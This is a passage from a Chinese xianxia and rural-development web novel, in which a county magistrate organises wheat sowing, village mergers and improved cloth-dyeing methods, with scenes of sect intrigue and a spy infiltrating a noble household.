那寒泉一般的声音似乎像是索命一样,持续在他脑内响起。 “一剑” 他感觉到有人在推着自己,但此刻他早已无暇顾及。 “霜寒” 快!快!再快一些! 池长老崩溃得就要跪地祈求,脑内的声音却还在继续。 “十” 看着池长老发疯一般捂着脑袋跪在地上,众人大吃一惊,离得近的人忙想去扶起他,却被池长老愤怒地咆哮喊退。 “滚开,你们这群废物!” 他捂着脑袋,巨大的惊恐立即就要将他击碎。 一股难以形容的杀意似乎锁定了他,死亡从未离他如此近! “四” 不不不不——停下来——该死的——快停下—— 池长老此刻哪里还有景旭宫内大长老淡定的神态? 眼下他崩溃地跪在地上,形态狼狈。 嘴里嘶吼着一些他们听不清的惨叫声。 而此刻,那被遗弃在一旁的邱老突然剧烈惨叫一声,众人忙回头去看,便看到不知从哪来的数把剑,就这样凭空出现,硬生生地将邱老捅了个对穿。 从他们的角度看过去,邱老匍匐在床上,瞪大双眼,脸上浮现出一抹绝望,死相凄惨,仿若一只铁剑铸成的刺猬。 ——怎么回事? 不说宫内普通弟子,就连宫内大长老们也是心寒不已。 先有池长老搜魂不成,反而疑似疯魔,后有邱老被虚空幻化出来的剑雨击杀 那日风仙县到底发生了什么? 为何仅仅是窥探当日,便会造成眼下这惨烈的结果? 空中传来一阵阵血腥味,混合着一股浓厚的草药味,黏在鼻间,皮肤上,似乎要浸透他们每一人。 众人再度将那惨白的脸扭转到池长老那一边,这会便看到池长老跪在地上,竟是晕了过去。 等到运用宫内秘法将池长老唤醒时,宫内长老试探着询问刚才到底发生了何事,便看到池长老蹙眉,而后捂着脑袋摇头说不知道。 屋内寂静得仿若无人存在。 几乎良久后,景旭宫下令,任何人,不许询问那日发生了何事,如有违反命令者,杀无赦! “呵呵——亲自派人过去看看吧,看看他们到底要做什么。” “结合池长老和邱老那一事,依我看就算派出精英也是白白送死,不如直接派外门弟子前去,好歹我们消耗得起。” “将这任务挂成宫内日常任务吧,这样便会有外门弟子前去替我们试探一二,运气好的,能打探到消息的留下进入内门,运气不好的,我们景旭宫也不需要。” “那便这样办吧。” 对话声悄然沉寂。 与此同时,景旭宫,外门弟子的任务榜上赫然加入了颇为日常的一系列任务,而在这中间,看上去最为朴实无害的便是前去一县城打探消息的任务了。 此任务相对简单,且因为路途遥远,给的贡献点算是中上,一时间,竟是吸引了不少外门弟子的注意力。 这些外门弟子想得很简单,不过是路途遥远而已,他们作为景旭宫的弟子,自然不会害怕流寇,所以简而言之,这个任务整体算来还是合算的。 贡献度决定了他们是否能进入景旭宫内,快速成为内门弟子,所以这些人几乎是不假思索,便接下了这个任务。 而除了这个任务外,负责跟踪永道宫的任务也在外门弟子任务板处放了出来,此任务因为难度高,而被暂时搁置,无人问津。 景旭宫在片刻的吵闹后,再度恢复平静。 那跟踪永道宫的任务,则也逐渐在时间的洗刷下变得灰淡了几分。 而就是这任务看似要沉寂下去,甚至宫内大长老们考虑要不要派人前去时,一双布满刀疤,骨节分明的手撕下了这张任务单。 第143章 迷弟 斗坡村。 里正正带领民众负责在田地间种植小麦。 因日子比较赶,所以这段时间,他们都是没日没夜的干活,生怕没在本月将这些小麦种子都种植下去。 但天不随人愿,因天气逐渐寒冷,土地播种并不像原先那般顺利,最终拼尽全力,按照里正的预估,可能得有一百亩左右的小麦是无法种植成功了。 眼看陷入僵局,里正不免思索该如何才能破解当下难题。 倒是多日不曾见面的张氏亲自上门来找他。 张氏现在可谓是功成名退,不仅仅是率先追寻仙师的前几人之一,且多次被重用后依旧能完美完成任务,不可谓不受众人羡慕。 先前那学堂张氏也给开设起来了,目前一切运转良好,自然不需要她再多费心思。 现在得到的最新消息便是张氏转而去那风仙县开了一家点心铺子,因为据说这一直是她最想做的事。 其实说实话,里正许久都没能见过张氏了,这会看着眼前这个衣着得体,面庞红润,气度端庄的人,第一时间差点没能认出来。 还是在多看了几眼后察觉到了——哎呦,张氏。 两人互相聊了聊最近的大事,在期间,里正说起了目前的麻烦事。 “可惜目前效率不够啊,恐怕到月底要种不完这些种子了。” 张氏不免想起先前自己曾经在学堂看到过的种植机,——若是有此物的话,不单单说现在,就算是是日后播种也能用得上啊。 只是她确实记不清楚,只能将此事拿出来提点一番里正。 里正本还在发愁,但在听到张氏的话后,顿时瞪大眼睛。 “你是说,那学堂内有播种机器,可以一天播种100到200亩?” 张氏点头,面露向往。 “不过我记得这样的播种机是只有仙界才能有的存在,但其中有种手扶式的播种机,一天也能播种5到10亩地,若是用牛马来拉的话,一天30到50亩或许也不是问题。” 被张氏这话刺激到的里正不免陷入沉思。 ——这种东西好是好,就是研究出来,估计也过了播种时间,目前他们差的数额最方便快捷的便是去找人帮忙播种。 但坏就坏在,这人去哪里找啊? 附近村落的人大都去工厂上班,下班后才能跟着种,这一时半会的,还真是不好找人,所以他先前才那么发愁。 而此刻,张氏似乎看懂了里正的犹豫之处,不免轻声道:“里正,这机器我觉得你有时间可以上山去学堂内找找,先看看能不能拿到那制作图纸,若是拿到了图纸,便可去县内找县令大人,请县内的工匠部帮忙制作此物。 而至于眼下找人播种的话,我也建议你去风仙县内找人,你不知道吧?最近县内来了不少被仙盟所吸引来的人,其中除了工匠被调走干最紧张的工作,剩余不少流民还负责开荒。 我觉得你这播种一事,可以去雇佣他们帮忙播种。” 张氏说起话来很有条理,倒是将此事的轻重缓急,以及最好的解决之法挨个说出来。 里正那被杂事占据的大脑在她的整理下逐渐分类清楚,脑内清明。 ——对啊,他怎么把风仙县有流民这一事给忘了! 至于找寻机器图纸,他还有好几个月的时间,完全来得及啊! 张氏仅仅是来了一刻钟,便迅速为自己解决了这么多麻烦,里正顿觉心中颇为感慨。 ——他是老了,这些事还得是年轻一代来啊。 既然最麻烦的事已经解决,他自然要询问张氏今日回来的原因是为何。 却见张氏轻轻叹了口气。 “这不是因为我家梅姐儿吗,我想着给送到风仙县内的学堂去,毕竟县内的学堂直接可以读中级班,提前过去,也就当提前适应适应了,她倒是不舍得走,我过来喊她。” 里正不免想起张氏家的梅姐儿。 小姑娘看着聪慧可爱,这一点随了张氏。 再想想本村的学堂情况,只有初级班,确实如同张氏所说,必须要去县内上中级班。 一时间,他倒是有心情打探日后本村学堂建设一事。 张氏倒是没料到里正会询问这个问题,不过倒也不是什么不能说的,便开口解释。 “初级学堂的数量最多一些,毕竟要保证大部分人能方便上学,至于中级学堂,本身能通过考试的人就比较少,所以自然开设的学堂数量也要少,不然这不是对资源的浪费么? 至于为何要开设到县内,主要也是因为咱们村子太小,没办法开设中级班。 不过这些也说不准,或许等日后咱们村发展起来,扩大地盘,想来建设个中级班不是什么难事。” 张氏不愧是负责此事的人,倒是对日后的发展建设认知十分清晰。 里正倒是从中窥探到了不少消息,这会早就做了打算,打算去见县令大人时,好好提一嘴他当初想过的多村联合计划。 如果这个计划能被批准的话,那样的规模,还是值得建设中级学堂的。 张氏很快告辞离开,里正则是走到村头,搭了一辆马车前去风仙县。 因斗坡村和风仙县之间经常会互相来往,有牛车,马车,驴车的人暂且不表,多的是买不起这些的人,但是对通行又有需求,那自然拼座马车应运而生。 一个马车内要塞下六个人,一人需要交10文。 这价格不算便宜,但若是不拼座的话更贵。 大部分人不会天天往返于两地之间,所以偶尔花个10文去县内也能接受。 实在不行,囊中羞涩可以乘别人的牛车,驴车,价格比这更便宜,只不过速度慢而已。 而在这拼座马车中,分为散户的马匹,或商队的马匹。 一般情况下,散户的价格更低一些,商队的价格更高。 但相对来说,散户马车内环境不太好,且有风险,但架不住它价格低,且随时随地都能走,图便宜,或者图方便去的人也不少。 而商户的马匹,较为舒适,价格也不过是多了两文,但他们一般定点定时发车。 此行里正坐的便是商户的马车,这马车内部坐了六个人,六个人在马车内,算不得挤,——总之比上次坐散户的马车要舒服,里正还记得他之前做散户马车时,六个人挤得他差点没吐出来,从此以后,没什么急事,他都选择坐商户马车。 同行人中,里正无心和别人说话聊天,自己低头就睡,等着一会下车了车夫喊他。 一路迷迷糊糊,在一个时辰后到了县衙。 同行人全都下车了,只留他一人。 那马夫摇了摇他,将他摇得清醒。 “老丈,别睡了,到地方了。” 里正忙睁开眼,在看到那熟悉的县衙后忙向马夫道谢后在门外徘徊。 ——上次他来此地是为了那李娘子争个高低而来,当初那王县令还不曾被仙师斩杀,如今世事无常,这会也就过了一两个月,县内的县令大人早就换了人。 不过自从这位传说中的县令大人上任后,里正还不曾见过她,只是听人说过这位的传奇故事。 不过在这故事中,方大人绝对是一位清廉爱民的好官。 思索的时间有些长,很快,便有巡逻的官兵便注意到这在门外徘徊的老丈,不免过去询问一二。 此时此刻,杜百刚从县衙出来。 想到先前的对话,她不免神色震撼,脑内不断地回想着那方大人所说之语。 先前被县令大人请过去时,说实话,不紧张是假的。 但无奈这毕竟是县令大人的邀请,杜百无法拒绝,只能同意前往。 当她进门,看到那传说中的方大人时,不免浑身震撼。 ——方大人个头比她要高,浑身散发着一股说不清道不明的威严,这感觉非要说的话,便是一种不可亵渎的神圣感,再结合往日方大人那令人胆寒的过往手段,在她向自己走来时,杜百承认她无可避免的心脏猛烈跳动。 有一多半是吓的。 方大人比她想象中的要温和。 她笑着让她坐下,和她谈论起了售卖货物一事。 一旦说起自己熟悉的领域,杜百原先还有些紧张的大脑,这会顿觉清明,且方大人广览洽闻,谈言微中,一时间她心内的恐惧消散几分,倒是专注于和方大人的这场谈话中。 随着谈话内容的深入,好几次,杜百都惊诧于方大人那绝佳的记忆力,强大的理解力,以及宽阔的知识面。 毕竟她谈论了不少较为拗口的商业内容,若是和别人商讨的话,不免要多费口舌,但和方大人的交谈却舒服得很,几乎她一说出来,方大人很快便了解此话的意思,且还能问出相当有水平的问题。 一来一回,杜百不可遏制地对方大人产生了一种尊崇之感。 等到谈话进行到最终时,杜百竟有些舍不得离开,但一想方大人贵为县令,平时甚是忙碌,自然不想打扰到她。 正打算告辞离开时,便听方大人叹息一声,似有万千忧虑堵在心头。 按道理说,为了不惹麻烦,她不应该主动去问才是,但 她控制不住自己。 先前和方大人一番对话后,杜百控制不了自己那升腾起的孺慕之情。 忍不住询问一二,但等到听到方大人所求后,她楞在原地,久久不能回神。 ——等会,她没听错吧?方大人的意思是,目前需要一个人替本县将生产出来的产品售卖出去,最好是卖到黎州这等富饶之地 方大人那坚定的话语还在她耳边响起。 “正所谓,假他人之财以壮己之威,目前本县既有这些东西,为何不售卖到敌人县内,从而赚取银两,来反哺本县?” 第144章 联合村落 这声音时刻在杜百脑内盘旋,似乎要将她的纠结犹豫撞碎。 ——算了她本来就需要来往黎州和本县,如今既方大人也有这意向,还会额外给与她钱财和人手保护她一行的安全,这笔生意做得不亏。 当然了,这件事做起来本身就有一定的风险,先前杜百只是打算趁着有机会,多赚几笔算几笔,但现在有了官府的支持,她若是同意的话,虽说能享受好处,但同样也承担着危险——毕竟日后便不是她想不去就能不去的了。 但综合下来看,杜百暂且认为此事可以干。 而方知意则是眼内闪过一丝不易被察觉的叹息。 赵金构倒是看得一清二楚,拿出那折扇捂嘴道:“方大人这是不忍心了。” 今日他被方大人请来,主要也是为了黎州商路这件事而来。 他负责的内容便是不幸谈话破裂后对杜百的安抚工作。 毕竟二人见过面,曾打过交道。 不过事情发展得顺利程度还是出乎赵金构意料。 他无论如何都没想到,那在众人面前沉默不语的杜百,到了方大人面前竟然会这般健谈,且眼中时不时便会流露出一股近乎崇拜的感情。 赵金构眼睁睁地看着方大人运用技巧获取了杜百的崇拜,而后成功推进了此事。 本以为像方知意这种足够黑心,做事追求高效率的人不会有所触动,但刚才,她叹息的模样倒是让赵金构不免怀疑自己过往的判断。 听到赵金构的话语后,方知意不免淡淡地扫了他一眼,算作警告。 “若此事我能出手搞定的话,便不需要让他来了。” ——方知意自知日后这任务定是难做,早就预备好了相应的人马去保护杜百,且这只是初期而已,等到在黎州站稳脚跟后,她会有更多更合适的人选,而非将这样艰难的任务全权托付到一个年幼的少年身上。 但无论如何,这件事必须要进行下去,毕竟这事关风仙县未来一个重要的外销地区,事关万千百姓,事关本县甚是仙师日后的推进进度。 是是非非,褒贬毁誉,千秋功罪,自有后人评说。 赵金构看向方大人。 她仿若一棵青松盘踞,一道日光穿过窗户,半边身子浸在亮处,照得她眉眼清晰,半边隐在暗影里,轮廓模糊,明暗之间,恍若两人。 一时间屋内一片寂静。 直到外面传来声响。 “县令大人,斗坡村里正求一见。” 方知意骤然起身,让他将人带来,赵金构伸手告辞离去。 而里正则是被人领着,一路颇有些紧张。 ——他在门口溜达了两圈,脑子还想着怎么进去说话呢,那负责巡逻的官兵便将他围起来问话,好在自从新县令上任后,官兵态度和以前简直是天差地别,还算温和地问着他,若是放在从前,他早就被人推搡着撵走了。 等叹息完后,里正就开始担心一些有的没的,越想越多,脑内思绪不受控制地乱窜,跟随着官兵的脚步都有些虚浮。 “到了,里正请进。” 里正赶忙点头应了一声,迈腿进入议事房内。 在进屋的瞬间,他便注意到那端坐在上座的一女子来,——虽说看着年纪不大,但那股和仙师身上相似的感觉让他顿觉熟悉,先前还不断跳动的心脏,此刻竟然莫名安稳下来。 端端正正地行礼后,里正坐下来,一股脑将脑内组织好的语言全部说出来。 起初还有些紧张,但说开了后,反而越说越流畅。 “县令大人,此次下官前来主要是有两件事请大人过目。 一是先前仙师在十一月初赐予我等一批小麦种子,要求全部栽种下去,但目前人手不足,下官听说目前仙盟内招收了不少流民负责开荒,所以想着县令大人是否能借几个人手帮忙栽种一番。 二来便是前不久,下官受到启发,想到了风仙县下,斗坡村附近不少村落过于分散,不若联合起来,形成一个新的村落,更好管理,且中间那些无法定责的土地也可以一并分下去,种植农作物。” 里正暂时没说出来那农机一事,主要也是因为那事没个谱,既然连图纸都没能拿出来,自然是先不要说,省得日后找不到图纸,在县令大人也落了个不靠谱的名声。 真等拿到那图纸后,再来寻求县令大人的帮助,想必不会难。 方知意陷入沉思。 第一件事好办,既是仙师下令,想来种植小麦定是一件重要之事,她今日便可派出足够多的人手,一两天便可以将这任务完成。 但第二件事就稍微有些棘手了。 毕竟村与村之间的联合并非那般简单,中间所要交接的文书,土地,等等繁杂万千。 若正常情况下,这事她会选择暂时搁置,毕竟手头需要紧急处理的事情太多了,但稍作思索,这联合村落计划还是好处大于坏处。 目前斗坡村内有三座工厂,未来或许还会继续建设,但村子太小便成了问题,且通过仙师在斗坡村发展经济,工厂,附近村落的村民倒是逐渐亲近起来,若是合并村落,的确不用考虑村民会不满,且确实如同里正所说,这些村落中间有不少荒废的土地,若是联合起来后,这些地方既可以作为宅基地,也可以作为种植区域,不可谓不是一件好事。 再细细思索下去,方知意很快便有了新的想法。 ——联合村落后多出来的土地,可以作为一份奖赏奖励下去,譬如面对这些外来的流民,能分配到土地便是最为激动的消息,但若是落户到本县,那便无土地可种,若落户到新联合村落内的话,则会分到一块土地。 且这样的话,土地分配也不需要大改,只需要微调即可,便不会多出来太多的工作要做,还能遏制流民内部秩序,给他们一个看得见的希望,不可谓不是一个好计策。 确定脑内想法后,方知意便缓缓将自己的意思透露出去,起初里正得知联合村落可行后还激动的瞬间,但听到土地并不打算给每个人多分一些后,还是有些不太满意。 但他也知道,方大人的想法更为合理,也更为适合眼下。 无奈之下,里正试探着询问:“方大人,这土地确实不好动,那是不是应当给联合村落新建一个中级班?毕竟人数多了,来往县内也不方便啊。” 说这话时他有些害怕,生怕县令大人恼了——毕竟他只是想拼命多给村里的人讨些好处。 方知意倒是意外里正会有这想法,但其实就算里正不提,她日后也会给联合村落配备上中级班,不过既然里正提出来了,她自然要面露难做,装作和里正博弈一番,这才勉强蹙眉同意。 方大人手段多变,里正哪里知晓她真正的意图,这会还在暗爽自己给自己村子争取到了一个中级班。 临走前,方知意让手下人带着里正前去那流民开荒处去带人回去。 算了算每人每天大概播种土地为2到3亩地,算上来往通行的成本,招收二十人,干个两三天是最为稳妥的做法。 里正先前便向方知意透露过这个人数,这会便是取得同意,过来招人来了。 招收流民的钱自然要算在斗坡村的账本上,这点毋庸置疑。 等到到了那开荒的地方,看着原先还是荒地的地方逐渐建造起房屋,修建了路,里正一时间震撼在原地。 新修的路是用砖石铺垫而成,平整厚重,那些新的房屋则是陆陆续续建了起来,有完工了一部分的房子已经可以投入使用了,有一部分人住了进去,一时间看着倒不像是流民,反而像是原汁原味的本地人似的。 看进度,里正觉得这个月,最迟下个月便能完工了。 其中穿行的人数比他想象中多,这些人各个看着就是一副吃饱饭,卯足力气干活的人,还有一些衣衫褴褛的流民此刻则是刚进来,被分散隔离观察后才被允许放出来。 一眼望过去,这荒地建设得比他想象中的快多了! 不过这里并未进行买卖交易,除了有官兵的指挥声,剩下的便是建造房屋的声音,起初还好,呆久了确实觉得有些没人味。 将注意力收回来,很快,他便用每日一百二十文的价格招到了二十人,至于回去时,为了节省成本,里正琢磨着分成两批马车带回去,每车坐十人。 说实话有些畏惧这种马车,但是为了给村子省点钱,里正捏着鼻子坐进去。 等到一上车,顿时他就后悔了。 十人座的马车确实拥挤,下车时,里正觉得自己又快被挤得吐了,倒是那二十人看着接受度良好,甚至还有心情左顾右盼,和他的身体素质简直两个极端。 默默忽略了可能是自己上了岁数的事实,里正带着这些人暂时先住在了村内平时开会的地方。 毕竟今天时间已晚,要干活也得明日了。 这一百二十文的价格是包吃包住的,但仅限于干活时,所以在今日没干活的情况下,自然不包吃。 本是这样的,但里正看不过去,倒是送过来一些蒸熟了的地瓜粟米,用猪油炒了个白菜粉条给这二十人吃。 一时间,众人均是感激不已。 毕竟不给吃是本分,给吃的是情分。 等到吃完饭后,里正告诉他们可以去村里转转,明天才开始工作,这二十人自然应下。 他们下马车是直接在开会地方下的,所以并未看清楚村内模样,但当众人出了门,没走几步,便看到处处点着沼气灯,卖小吃的,卖东西的,应有尽有,村落热闹得仿若县内,各个均呆愣在原地。 第145章 改进 原先在风仙县时,一众人每日除了干活外基本上没出过新规划建设区域。 毕竟在他们看来,新规划建设区域已经足够让人震撼了。 不过那新建区域虽说沼气池也建设好了,但是沼气灯并未投入使用,好在这些人干活时候会听工友们说一些外面的事,陆续也知道了那沼气灯的存在。 原先想着改天有机会去城区看看,结果还没来得及去看,谁能想到竟然是在一个小村落里看到了这沼气灯。 众人有些震撼,一时间竟是不知道该说些什么,只能沿着这灯呆愣愣地走下去,试图看看这个村落。 这村子看着虽说不是很大,但却是热闹非凡,一时间众人被这股热切劲儿鼓舞起来,甚至后知后觉才反应过来现在还是乱世。 但这村内却让他们安心,让人忍不住回想到了先前还算安宁的那些日子。 接下来干农活的三天,二十人为了感谢那日里正的那顿饭菜,尽最大能力,将这播撒种子的活计干得又快又好,甚至最后一日,还额外多给里正干了半个时辰的活计。 不过在期间,众人倒也有些好奇为何要种植这么多的小麦,毕竟在他们看来,这小麦虽说好吃,但是产量太低。 而且这种植要求也和原先他们惯用的种植手法不同,一开始为了适应,还花费不少时间,但熟练后,倒也不费劲,只是觉得奇怪,但左右一想,自己不过是被雇来做活的,这些东西也不在谈论范围内,索性闷头按照要求做了便是。 等到最后一日离开时,里正从村口拦了两辆马车,付了钱,让马车帮忙将他们送回去。 看着已经播种完毕的土地,里正顿觉压在身上的重担似乎都轻松了不少。 ——好啊,总之是没辜负仙师的期待。 既然最要紧的事已处理完毕,那联合村落的事也轮不到他管,只需要等着上面下文件即可,目前看来,他应当去山上的学堂内去找找看张氏提到过的机器才是。 想到张氏所说那机器竟能日播几十亩地时,里正不免兴奋。 这会谁也劝不了他,哪怕天色看着不早了,里正依旧上了山,去了学堂。 等到在学堂看了一晚上的课程,竟然都不曾找到张氏所说的播种机器。 无奈,里正只能暂且在山上住个几天,权当寻找播种机了。 不过令人失落的是,越是想找便越是找不到,翻来覆去好几天,竟是都不曾找到,最终里正只能上山顺带去看看自家娘子,然后再次下山。 话说自里正娘子上山替仙师管理账单后,一个月只下山呆个一两天,其余时间,大部分时候都在山上。 稍微有空了就去集闻楼内看看书籍,不过大多数时候都忙得很。 冷不伶仃看到里正时,里正娘子还没反应过来。 等后知后觉反应过来后,这才知晓里正是为了寻找那播种机而来。 “不若去集闻楼内找找?至少那里面分类放了不少书,依我看比去学堂找要方便,山下暂时也没有什么活计,你不如呆在山上,一是找找书,二也能看看大郎他们三个。” 里正娘子边拨算盘,边扫了一眼自家相公。 里正一琢磨,也是这个道理,晃悠着去了那集闻楼内去寻农机制作相关书籍,倒是在路上时,遇到了一伙穿着打扮狼狈的人来。 这群人看着像是多日不曾洗漱过,看上去各个风尘仆仆,但这群人眼睛却是异常明亮,闪烁着兴奋的光芒。 尤其是为首的人和他错身经过时,里正顿时只觉得有些熟悉但无论如何,想破脑袋也没想起来是谁。 正打算摇头离开,却听背后传来一阵欢喜的呼唤。 “公公?” ——等会,怎么感觉这声音有些耳熟? 不等里正反应过来,便看那为首的人走来,摘下那兜帽,兜帽下,竟然是老三儿媳妇! 只不过此刻她看起来和原先那副模样大有不同,原先里正记得她岁数还小,看上去还有几分孩子气,这会半年不见,看过去皮肤黑了一些,但整个人的气场看着要从容自信许多。 似乎像是不敢相认一般,里正犹豫着喊了一句:“老三媳妇,明月?” 李明月眉眼弯弯,点头。 里正有些晕眩——等会,谁能告诉他为啥只是半年没看到,自家原先那个三儿媳妇哪去了? 这会不免问了几句,等知晓自家儿媳妇竟然找到了好几个矿产后,里正不免瞪大双眼。 同行的人走过来笑着告诉里正,等过几日仙师便会让报纸采访李明月一行人,好让小队多日来的辛苦全能被众人所理解。 里正有些恍惚,等到分别后,这才缓慢地琢磨起来这句话。 ——采访?报纸宣传?啊?不是,什么时候小儿媳妇变得这么可靠了?尤其是回想到刚才那人那副兴奋而又自豪的说出,能找到矿产,多亏了李明月带队。 里正这会才意识到,仅仅是半年而已,小儿媳妇早就不是原先那个孩子气的模样了。 脑袋有些混乱,里正迈进了集闻楼内。 而与此同时,李明月则是回去洗漱,休整,她们这次再次出发,利用仙师赐予的探索机器,替仙师找到了不少矿产。 暂时来看的话,铁矿是够用了。 半年的时间里,足够让她蜕变成一个可靠的领队,毕竟在野外的意外实在不少,好几次,李明月一行人差点丧命于各种恶劣天气,亦或是那些野兽,但好在结果是好的,她们的付出有所回报,不仅仅是金钱方面,更是过几日小队能得到一次采访。 其实起初在孙宁元将这事通知给她时,她还有些不好意思,想着拒绝算了,但孙宁元面色严肃,说此采访是县令大人特意嘱咐,并且当日会让报社负责人亲自采访她后,李明月这才仔细考量起这事来。 “县令大人说了,若你接受采访,这对于女子来说,更是一个榜样,会引导女子地位提升,且开拓女子所做职业的多元化,所以她希望你能考虑考虑。 且让我说的话,我也希望你们的付出能被大家所了解,让大伙都知道你们小队做出的贡献。” 眼看平时视为长姐一般的妯娌说得这般清楚了,李明月先是被此话震撼,而后慢慢品味后,郑重答应下来。 不仅仅是为了自己,更是为了小队,为了县令大人所说的那些女子。 此时此刻,李明月突然对这位不曾谋面的县令大人燃起了一阵好奇,——她曾听过这位大人的不少传闻,在传闻中,县令大人乃铁血手腕,据说那日处刑场惨叫不断,血流千尺,但与此同时,关于这位大人的美名也是不少。 想着或许过几日采访时能看到这位传说中的大人,李明月不免心头剧烈跳动。 直到丈夫回来时,她也不曾反应过来。 风仙县,纺织厂。 数百台机器同时运作,那万千棉线有序地在机器上跳跃,而后编织成为一匹匹棉布。 自用了这八锭纺纱机后,织布效率自然是快了数倍,库房里的棉花库存正以一个极为迅速的速度在减少。 但与此同时,成品布料以及被褥等物正按照原计划迅速被制作好,堆放在库房。 方知意看了眼库房,便大概了解了目前的进度,——至少供给本县足够用了。 想到那被打通的黎州商路,方知意不免微微蹙眉。 ——就算织布效率提高了,但这些未曾经过染色的布料自然无法售出高价,对于纺织厂,她的定位便是平民百姓,毕竟有钱人都去穿丝绸锦缎了,看不上棉布。 但如何能让布料更有竞争力?自然是颜色为重。 目前来说,因为技术原限制,大炎朝的染色水平发展得较为一般,日常来说,较为鲜艳的布料价格依旧不便宜。 方知意想到了最近几日她一直在看的数本染色书籍,在这些书籍中,倒是让她学到了不少有效的改善方法。 今日除了现场查看布料的纺织情况,最主要的也是和赵金构有约。 二人的见面地点选择了老地方,——茶楼的包间。 两人都很有时间观念,几乎是同时到达。 对于方大人的这一点,赵金构倒是非常欣赏。 他喜欢和有时间观念的人相处。 等到落座后,听着方大人的话,赵金构不免沉思后缓缓开口:“方大人的意思是,要精进染色方法,好让我等快速打入黎州市场?” 方知意缓缓点头:“染色布料面对的是普通百姓,所以和杜百的路线并不冲突,且对于这种普通市场来说,进入的话,也不需要人脉,只需要货物品质足够即可。 目前来看,主攻两个颜色,红色和靛蓝,成本低,受众广,且按照改进染色法后,染出来的颜色定要远超别家染坊。 至于法子,我已经写下来,你一看便知。” 至于为何要找赵金构,主要也是因为此人手下的产业有染坊,且相对来说,此人她比较能信得过而已。 赵金构展开手中的纸张,越看,越是心生震撼。 不得不说,方大人还是太强了。 这份改进方案完全成熟,且从多个角度交代清楚,仅需要他执行便是。 大概来说的话,分为四个方面。 一为优化染色方法,二为统一染色标准化,三为改进染色设备,四则是建立色卡体系,开创昂贵新色。 其中,最令赵金构惊讶的还是方大人要求必须建立统一的色卡体系,先制作一份标准色卡,然后在日后经商时,便采用此色卡让对面下订单。 赵金构不免震撼——不是,方大人野心不小啊。 定制染色标准模板,这完全是奔着想占据染□□去了啊! 第146章 女子 这份计划单拿在手上,顿时赵金构便觉得它有千斤重。 半响,他才缓缓开口:“我观方大人意思是想未来控制染色市场?” 方知意端坐在位置上淡定喝茶,“果然还得是赵公子,这么快就看出来我最终目的为何了。” 赵金构压下心下那股震撼,而后更加仔细地看着手中的东西。 等到看到染色法的改进时,赵金构不免陷入沉思。 ——他对这染坊稍有研究,眼下这其中所写法子确实看着有几分可行性。 一是染料提取方面,本朝采用的是“红花染色法”提取红色染料,而方大人提供的改进方法仅仅是在提取过程中加入草木灰水,即可增强红色染料的鲜艳度。 之后再利用分布控温,即先用冷水浸泡红花去除其中的黄色杂色,再用温水提取出红色,便能避免杂色干扰,制作出更为纯粹的红色染料来。 而至于靛蓝染料的制作则是需要改善发酵工艺,用带着单向排气阀的密封陶罐代替原先的罐子,稳定发酵环境,而且对于加入生石灰水的比例有了详细的要求,按照此办法所说,可提升一半的靛蓝染剂产量,同时使靛蓝染色力度提升。 二是染色工艺方面,方大人着重强调了必须要让套染顺序固定,否则顺序一乱,染色的布料便会出现色彩浑浊的状况。 与此同时,在这里面,还放着一张色卡图,分别记录着各个颜色叠加后的颜色为何,这样便更能清楚地指引正确的染色搭配。 且在染色手法上采用“分步固色法”,每染一色后便需要醋液固色,再叠加另一颜色,这样便能让染布染出的颜色更不容易褪色。 三则是工具改善方面,淘汰原先染缸,引入滚筒式染机,——即一种带孔洞的木制滚筒,布料在缠绕后浸入染液,手动摇柄即可均匀染色,相比于原先的染缸,一是染色更均匀,二是效率高,节省力气。 四的话,便是一张色彩分明的色卡图,——说实话,这图颜色清晰到让人不敢相信是本朝能有的东西。 事实上,也确实不是本朝的东西,这玩意是方知意亲手从书籍内裁剪下来这一张,用作日后交易时,示范及震慑使用。 当然了,后续大概率还需要复刻这色卡图,毕竟做大做强时没有色卡图怎么行?而这从仙书上拿到的色卡图不过一张而已,如何够用? 方知意先前早已演练过数遍,若按照此四点一一执行,她所求的统一染色不过是最顺利成章的成功而已。 而此刻,赵金构则是跟着方大人的思绪完整地走了一圈,边感慨方大人实在是将计划设计得环环相扣,同时又面露复杂——这计划一看就是耗费心思所想,而方大人平日甚是繁忙,到底哪能挤出这么多时间来收集这些资料,并将其内容应用到本土染坊上来? 一时间,他眼内不免多了几分探究之色,脑内闪过数个猜测。 ——方大人绝对挑灯夜读了! 不然没道理这人每天能干这么多事啊! 赵金构突然很想观察一下方大人的脸色如何,若不太好的话,他必须要好好劝劝她,毕竟人活着才能继续深耕事业啊。 而观此刻方大人还在垂头喝茶,等到抬头时,赵金构匆匆一暼,却察觉方大人气色果然不对劲。 ——肯定不对劲啊!感觉怎么比他气色都要好啊! 不是,等等,怎么回事,原来没有牺牲休息时间么?他刚刚的想象算什么?! 一时间,赵金构顿觉尴尬,幸亏自己没随便去问,不然到时候岂不是显得他能力不够? 毕竟若是他是方大人的话,这么多公务等着处理,还能头头是道,必须要每天都熬夜才能撑得住才是。 一想到此类情况,赵金构不免对方大人生出了一抹敬畏——这程度已经不是人类能做到的了,话说人人都说方大人被赋予了一部分仙师的权柄,有没有可能是因为这个原因,导致的方大人精力十足? 实际上,他猜测的真相已经很接近了,毕竟方知意吃的是一颗提升精力的丹药而已,而非什么权柄。 脑内想着有的没的,赵金构很快便将这数张纸张收好,负责执行此任务去了。 而方知意则是垂头看向茶楼外,静静感受着当下茶楼外不住穿梭着的,笑着的人流。 黎州,祝府。 这是寻宁的第二次潜入。 第一次潜入她用了荣世子的侍卫身份混进去的,至于这第二次,则是借的是府内上门药师的药童身份进来的。 这药师她们打探过,正是祝府合作许久的药师,每个月会来一趟,说是给府内女眷看病的。 但具体是哪位女眷,那便不清楚了。 至于这药童则是她提前蹲点了数日,研究透了这药童的习惯后,这才将此人绑架带走,自己再易容后假装。 当初下手时,她特意挑选了身高体型和自己非常接近的药童,且此人性子僻静,不喜说话,这一点更是深得寻宁喜欢。 混上这药童身份后,寻宁琢磨着自己必须要发现点什么情报才能对得起她做出的努力。 再次进入祝府,看到那些奢华的造景,寻宁早就心如止水。 前方的丫鬟走得挺快,药师不自觉跟着也快了几步,寻宁易容的此人腿脚不甚伶俐,她必须要模仿此人走路时的状态,假装走路微微发跛。 那药师看都不看她一眼,冷淡万分,这倒是让寻宁心头一喜,这说明二人之间的交流很少。 ——啧,这和祝家长期合作的人是没几个好人,对待自己的药童这么冷血,能指望这药师有什么医德? 不过从另一方面来说,实在是太好了,毕竟这样暴露的概率低了许多。 绕过前厅,在偏门的路上越走越远,走得寻宁耐心都快耗没了时,终于到了地方。 